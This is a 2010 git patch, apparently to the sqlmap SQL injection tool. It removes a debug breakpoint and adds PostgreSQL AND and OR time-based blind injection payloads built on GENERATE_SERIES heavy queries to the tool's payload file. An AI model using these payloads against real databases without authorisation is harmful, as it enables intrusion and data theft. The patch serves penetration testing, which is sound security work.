From 0da1ebde7dc65058f33c66256e1ed510806d1ef4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Dec 2010 00:51:14 +0000 Subject: [PATCH] introducing PostgreSQL time based blind --- lib/controller/checks.py | 2 -- xml/payloads.xml | 50 +++++++++++++++++++++++++++++++--------- 2 files changed, 39 insertions(+), 13 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index a44794b57..ff866fa36 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -361,8 +361,6 @@ def checkSqlInjection(place, parameter, value): injectable = True elif check == "[DELAYED]": if duration >= max(TIME_MIN_DELTA, TIME_N_RESPONSE * kb.responseTime): - import pdb - pdb.set_trace() infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title) logger.info(infoMsg) diff --git a/xml/payloads.xml b/xml/payloads.xml index 3b478532d..dbb999a98 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -1463,7 +1463,7 @@ Formats: Oracle AND time-based blind 5 1 - 2 + 1 1,2,3 1 @@ -1480,7 +1480,7 @@ Formats: Oracle AND time-based blind (heavy query) 5 - 3 + 2 1 1,2,3 1 @@ -1495,6 +1495,24 @@ Formats: + + PostgreSQL AND time-based blind + 5 + 1 + 1 + 1,2,3 + 1 + + AND EXISTS(SELECT * FROM GENERATE_SERIES(1, 10000000)) + + + + +
+ PostgreSQL +
+
+ Microsoft SQL Server/Sybase AND time-based blind (heavy query) 5 @@ -1552,10 +1570,6 @@ Formats: > 2.0 - @@ -1635,7 +1649,25 @@ Formats: Oracle - + + + PostgreSQL OR time-based blind + 5 + 3 + 3 + 1,2,3 + 2 + + OR EXISTS(SELECT * FROM GENERATE_SERIES(1, 10000000)) + + + + +
+ PostgreSQL +
+
+ Microsoft SQL Server/Sybase OR time-based blind (heavy query) 5 @@ -1693,10 +1725,6 @@ Formats: > 2.0 -